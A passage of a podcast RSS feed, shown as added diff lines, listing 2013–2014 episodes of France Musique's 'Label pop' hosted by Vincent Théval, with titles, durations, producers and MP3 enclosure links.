+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:57 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/904726345244745728/12668-16.06.2014-ITEMA_20641965-0.mp3" length="85016576" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-16.06.2014-ITEMA_20641965-0.mp3</guid>
+<pubDate>Mon, 16 Jun 2014 11:18:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Roddy,Frame,en,session</itunes:keywords>
+<itunes:subtitle>Roddy Frame en session</itunes:subtitle>
+<itunes:summary>durée : 01:27:57 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:27:57</itunes:duration>
+</item>
+<item>
+<title>Kishi Bashi en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:04 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/902102704141115392/12668-09.06.2014-ITEMA_20638856-0.mp3" length="85129216" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-09.06.2014-ITEMA_20638856-0.mp3</guid>
+<pubDate>Mon, 09 Jun 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Kishi,Bashi,en,session</itunes:keywords>
+<itunes:subtitle>Kishi Bashi en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:04 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:04</itunes:duration>
+</item>
+<item>
+<title>Yann Tiersen en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:01 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/899355619218169856/12668-02.06.2014-ITEMA_20635731-0.mp3" length="85080064" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-02.06.2014-ITEMA_20635731-0.mp3</guid>
+<pubDate>Mon, 02 Jun 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Yann,Tiersen,en,session</itunes:keywords>
+<itunes:subtitle>Yann Tiersen en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:01 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:01</itunes:duration>
+</item>
+<item>
+<title>Josephine Foster et Courtney Barnett en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:57 - Label pop - par : Vincent Théval - réalisé par : Gilles Blanchard</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/896911663133892608/12668-26.05.2014-ITEMA_20632688-0.mp3" length="85014528" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-26.05.2014-ITEMA_20632688-0.mp3</guid>
+<pubDate>Mon, 26 May 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Josephine,Foster,et,Courtney,Barnett,en,session</itunes:keywords>
+<itunes:subtitle>Josephine Foster et Courtney Barnett en session</itunes:subtitle>
+<itunes:summary>durée : 01:27:57 - par : Vincent Théval - réalisé par : Gilles Blanchard</itunes:summary>
+<itunes:duration>01:27:57</itunes:duration>
+</item>
+<item>
+<title>Henk Hofstede (The Nits) en interview</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:07 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/894229604267466752/12668-19.05.2014-ITEMA_20629566-0.mp3" length="86922208" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-19.05.2014-ITEMA_20629566-0.mp3</guid>
+<pubDate>Mon, 19 May 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Henk,Hofstede,(The,Nits),en,interview</itunes:keywords>
+<itunes:subtitle>Henk Hofstede (The Nits) en interview</itunes:subtitle>
+<itunes:summary>durée : 01:28:07 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:07</itunes:duration>
+</item>
+<item>
+<title>Hospital Ships en session acoustique</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:21 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/891720408540127232/12668-12.05.2014-ITEMA_20626515-0.mp3" length="87151584" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-12.05.2014-ITEMA_20626515-0.mp3</guid>
+<pubDate>Mon, 12 May 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Hospital,Ships,en,session,acoustique</itunes:keywords>
+<itunes:subtitle>Hospital Ships en session acoustique</itunes:subtitle>
+<itunes:summary>durée : 01:28:21 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:21</itunes:duration>
+</item>
+<item>
+<title>Etienne Daho en interview</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:26 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/889118812815761408/12668-05.05.2014-ITEMA_20623484-0.mp3" length="87233504" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-05.05.2014-ITEMA_20623484-0.mp3</guid>
+<pubDate>Mon, 05 May 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Etienne,Daho,en,interview</itunes:keywords>
+<itunes:subtitle>Etienne Daho en interview</itunes:subtitle>
+<itunes:summary>durée : 01:28:26 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:26</itunes:duration>
+</item>
+<item>
+<title>Pierre-Étienne Minonzio pour &quot;Petit manuel musical du football&quot; (Le Mot et le Reste)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:20 - Label pop - par : Vincent Théval - réalisé par : Gabriel Fadavi</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/886521227345141760/12668-28.04.2014-ITEMA_20620459-0.mp3" length="87135200" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-28.04.2014-ITEMA_20620459-0.mp3</guid>
+<pubDate>Mon, 28 Apr 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Pierre-Étienne,Minonzio,pour,&quot;Petit,manuel,musical,du,football&quot;,(Le,Mot,et,le,Reste)</itunes:keywords>
+<itunes:subtitle>Pierre-Étienne Minonzio pour &quot;Petit manuel musical du football&quot; (Le Mot et le Reste)</itunes:subtitle>
+<itunes:summary>durée : 01:28:20 - par : Vincent Théval - réalisé par : Gabriel Fadavi</itunes:summary>
+<itunes:duration>01:28:20</itunes:duration>
+</item>
+<item>
+<title>Chris Garneau en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:05 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/883919507762978816/12668-21.04.2014-ITEMA_20617449-0.mp3" length="86889440" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-21.04.2014-ITEMA_20617449-0.mp3</guid>
+<pubDate>Mon, 21 Apr 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Chris,Garneau,en,session</itunes:keywords>
+<itunes:subtitle>Chris Garneau en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:05 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:05</itunes:duration>
+</item>
+<item>
+<title>Thierry Dupin et Emile Omar pour la compilation &quot;69 : année mélodique&quot;</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:04 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/881242200548057088/12668-14.04.2014-ITEMA_20614414-0.mp3" length="86873056" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-14.04.2014-ITEMA_20614414-0.mp3</guid>
+<pubDate>Mon, 14 Apr 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Thierry,Dupin,et,Emile,Omar,pour,la,compilation,&quot;69,:,année,mélodique&quot;</itunes:keywords>
+<itunes:subtitle>Thierry Dupin et Emile Omar pour la compilation &quot;69 : année mélodique&quot;</itunes:subtitle>
+<itunes:summary>durée : 01:28:04 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:04</itunes:duration>
+</item>
+<item>
+<title>Philippe Dumez, blogueur, auteur, éditeur</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:06 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/878644611302559744/12668-07.04.2014-ITEMA_20611353-0.mp3" length="86905824" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-07.04.2014-ITEMA_20611353-0.mp3</guid>
+<pubDate>Mon, 07 Apr 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Philippe,Dumez,,blogueur,,auteur,,éditeur</itunes:keywords>
+<itunes:subtitle>Philippe Dumez, blogueur, auteur, éditeur</itunes:subtitle>
+<itunes:summary>durée : 01:28:06 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:06</itunes:duration>
+</item>
+<item>
+<title>Howe Gelb en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:09 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/876127057573056513/12668-31.03.2014-ITEMA_20608312-0.mp3" length="86954976" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-31.03.2014-ITEMA_20608312-0.mp3</guid>
+<pubDate>Mon, 31 Mar 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Howe,Gelb,en,session</itunes:keywords>
+<itunes:subtitle>Howe Gelb en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:09 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:09</itunes:duration>
+</item>
+<item>
+<title>Maxime Chamoux : (Please) Don't Blame Mexico, work in progress part. 3</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:19 - Label pop - par : Vincent Théval - réalisé par : Patrick Lérisset</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/873464199768973312/12668-24.03.2014-ITEMA_20605284-0.mp3" length="87118816" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-24.03.2014-ITEMA_20605284-0.mp3</guid>
+<pubDate>Mon, 24 Mar 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Maxime,Chamoux,:,(Please),Don't,Blame,Mexico,,work,in,progress,part.,3</itunes:keywords>
+<itunes:subtitle>Maxime Chamoux : (Please) Don't Blame Mexico, work in progress part. 3</itunes:subtitle>
+<itunes:summary>durée : 01:28:19 - par : Vincent Théval - réalisé par : Patrick Lérisset</itunes:summary>
+<itunes:duration>01:28:19</itunes:duration>
+</item>
+<item>
+<title>François and the Atlas Moutains</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:22 - Label pop - par : Vincent Théval - François, chant, guitare, clavier Petit Fantome, clavier, choeur Amaury, basse, percussions, choeur Jean, batterie Gerard, clavier, choeur - réalisé par : Patrick Lérisset</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/870867195511447552/12668-17.03.2014-ITEMA_20602213-0.mp3" length="87167968" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-17.03.2014-ITEMA_20602213-0.mp3</guid>
+<pubDate>Mon, 17 Mar 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>François,and,the,Atlas,Moutains</itunes:keywords>
+<itunes:subtitle>François and the Atlas Moutains</itunes:subtitle>
+<itunes:summary>durée : 01:28:22 - par : Vincent Théval - François, chant, guitare, clavier Petit Fantome, clavier, choeur Amaury, basse, percussions, choeur Jean, batterie Gerard, clavier, choeur - réalisé par : Patrick Lérisset</itunes:summary>
+<itunes:duration>01:28:22</itunes:duration>
+</item>
+<item>
+<title>Michka Assayas pour Le Nouveau Dictionnaire du Rock</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:19 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/868349821855997952/12668-10.03.2014-ITEMA_20599189-0.mp3" length="87118816" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-10.03.2014-ITEMA_20599189-0.mp3</guid>
+<pubDate>Mon, 10 Mar 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Michka,Assayas,pour,Le,Nouveau,Dictionnaire,du,Rock</itunes:keywords>
+<itunes:subtitle>Michka Assayas pour Le Nouveau Dictionnaire du Rock</itunes:subtitle>
+<itunes:summary>durée : 01:28:19 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:19</itunes:duration>
+</item>
+<item>
+<title>Dominique A pour &quot;Tomber sous le charme&quot; (Le Mot et le Reste)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:11 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/865755919974146048/12668-03.03.2014-ITEMA_20596136-0.mp3" length="86987744" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-03.03.2014-ITEMA_20596136-0.mp3</guid>
+<pubDate>Mon, 03 Mar 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Dominique,A,pour,&quot;Tomber,sous,le,charme&quot;,(Le,Mot,et,le,Reste)</itunes:keywords>
+<itunes:subtitle>Dominique A pour &quot;Tomber sous le charme&quot; (Le Mot et le Reste)</itunes:subtitle>
+<itunes:summary>durée : 01:28:11 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:11</itunes:duration>
+</item>
+<item>
+<title>Wild Beasts en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:19 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/863157660629868544/12668-24.02.2014-ITEMA_20592949-0.mp3" length="87118816" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-24.02.2014-ITEMA_20592949-0.mp3</guid>
+<pubDate>Mon, 24 Feb 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Wild,Beasts,en,session</itunes:keywords>
+<itunes:subtitle>Wild Beasts en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:19 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:19</itunes:duration>
+</item>
+<item>
+<title>Jedediah Sklower et Catherine Guesde (Revue Volume!)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:13 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/860560685396926464/12668-17.02.2014-ITEMA_20589887-0.mp3" length="87020512" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-17.02.2014-ITEMA_20589887-0.mp3</guid>
+<pubDate>Mon, 17 Feb 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Jedediah,Sklower,et,Catherine,Guesde,(Revue,Volume!)</itunes:keywords>
+<itunes:subtitle>Jedediah Sklower et Catherine Guesde (Revue Volume!)</itunes:subtitle>
+<itunes:summary>durée : 01:28:13 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:13</itunes:duration>
+</item>
+<item>
+<title>Bill Callahan en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:14 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/857879020245622784/12668-10.02.2014-ITEMA_20586797-0.mp3" length="87036896" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-10.02.2014-ITEMA_20586797-0.mp3</guid>
+<pubDate>Mon, 10 Feb 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Bill,Callahan,en,session</itunes:keywords>
+<itunes:subtitle>Bill Callahan en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:14 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:14</itunes:duration>
+</item>
+<item>
+<title>Hommage à Pete Seeger</title>
+<link>http://www.francemusique.fr/emission/label-pop/2013-2014/hommage-pete-seeger-02-03-2014-14-46</link>
+<description>durée : 00:15:20 - Label pop - par : Vincent Théval -
+
+
+
+Hommage à Pete Seeger
+
+Figure essentielle de l’histoire du folk américain, Pete Seeger, disparu le 27 janvier dernier à l’âge de 94 ans, laisse un héritage considérable. Label Pop lui rend hommage.
+(En raison de la diffusion de la cérémonie des Victoires de la musique classique, Label Pop débutera exceptionnellement vers 23h30).
+
+
+
+ - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/855364085024301056/12668-03.02.2014-ITEMA_20583717-0.mp3" length="15373280" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-03.02.2014-ITEMA_20583717-0.mp3</guid>
+<pubDate>Mon, 03 Feb 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Hommage,à,Pete,Seeger</itunes:keywords>
+<itunes:subtitle>Hommage à Pete Seeger</itunes:subtitle>
+<itunes:summary>durée : 00:15:20 - par : Vincent Théval -
+
+
+
+Hommage à Pete Seeger
+
+Figure essentielle de l’histoire du folk américain, Pete Seeger, disparu le 27 janvier dernier à l’âge de 94 ans, laisse un héritage considérable. Label Pop lui rend hommage.
+(En raison de la diffusion de la cérémonie des Victoires de la musique classique, Label Pop débutera exceptionnellement vers 23h30).
+
+
+
+ - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>00:15:20</itunes:duration>
+</item>
+<item>
+<title>Florent Marchet en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:10 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/852763696483536896/12668-27.01.2014-ITEMA_20580596-0.mp3" length="86971360" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-27.01.2014-ITEMA_20580596-0.mp3</guid>
+<pubDate>Mon, 27 Jan 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Florent,Marchet,en,session</itunes:keywords>
+<itunes:subtitle>Florent Marchet en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:10 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:10</itunes:duration>
+</item>
+<item>
+<title>Damien Jurado en session</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:31 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/850085549199855616/12668-20.01.2014-ITEMA_20577388-0.mp3" length="87315424" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-20.01.2014-ITEMA_20577388-0.mp3</guid>
+<pubDate>Mon, 20 Jan 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Damien,Jurado,en,session</itunes:keywords>
+<itunes:subtitle>Damien Jurado en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:31 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:31</itunes:duration>
+</item>
+<item>
+<title>Label Pop 13.01.2014</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:54 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/847577688381067264/12668-13.01.2014-ITEMA_20574308-0.mp3" length="86709216" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-13.01.2014-ITEMA_20574308-0.mp3</guid>
+<pubDate>Mon, 13 Jan 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,13.01.2014</itunes:keywords>
+<itunes:subtitle>Émission du 13.01.2014</itunes:subtitle>
+<itunes:summary>durée : 01:27:54 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:27:54</itunes:duration>
+</item>
+<item>
+<title>Pacôme Thiellement</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:19 - Label pop - par : Vincent Théval - Pacôme Thiellement pour &amp;quot;Pop Yoga&amp;quot; (Éditions Sonatine) - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/844968105405845504/12668-06.01.2014-ITEMA_20571200-0.mp3" length="87118816" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-06.01.2014-ITEMA_20571200-0.mp3</guid>
+<pubDate>Mon, 06 Jan 2014 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Pacôme,Thiellement</itunes:keywords>
+<itunes:subtitle>Pacôme Thiellement</itunes:subtitle>
+<itunes:summary>durée : 01:28:19 - par : Vincent Théval - Pacôme Thiellement pour &amp;quot;Pop Yoga&amp;quot; (Éditions Sonatine) - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:19</itunes:duration>
+</item>
+<item>
+<title>Ceci n'est pas un best of (2/2)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:38 - Label pop - par : Vincent Théval - réalisé par : Souad Boukhorssa</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/842373358887636992/12668-30.12.2013-ITEMA_20568302-0.mp3" length="86447072" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-30.12.2013-ITEMA_20568302-0.mp3</guid>
+<pubDate>Mon, 30 Dec 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Ceci,n'est,pas,un,best,of,(2/2)</itunes:keywords>
+<itunes:subtitle>Ceci n'est pas un best of (2/2)</itunes:subtitle>
+<itunes:summary>durée : 01:27:38 - par : Vincent Théval - réalisé par : Souad Boukhorssa</itunes:summary>
+<itunes:duration>01:27:38</itunes:duration>
+</item>
+<item>
+<title>Ceci n'est pas un best of (1/2)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:55 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/839626373692657664/12668-23.12.2013-ITEMA_20565398-0.mp3" length="86725600" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-23.12.2013-ITEMA_20565398-0.mp3</guid>
+<pubDate>Mon, 23 Dec 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Ceci,n'est,pas,un,best,of,(1/2)</itunes:keywords>
+<itunes:subtitle>Ceci n'est pas un best of (1/2)</itunes:subtitle>
+<itunes:summary>durée : 01:27:55 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:27:55</itunes:duration>
+</item>
+<item>
+<title>Vincent Delerm, pour &quot;Les Amants Parallèles&quot;</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:08 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/837096815131103232/12668-16.12.2013-ITEMA_20562363-0.mp3" length="86938592" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-16.12.2013-ITEMA_20562363-0.mp3</guid>
+<pubDate>Mon, 16 Dec 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Vincent,Delerm,,pour,&quot;Les,Amants,Parallèles&quot;</itunes:keywords>
+<itunes:subtitle>Vincent Delerm, pour &quot;Les Amants Parallèles&quot;</itunes:subtitle>
+<itunes:summary>durée : 01:28:08 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:08</itunes:duration>
+</item>
+<item>
+<title>Catherine Viale pour le livre &quot;It's not only rock'n'roll&quot;</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
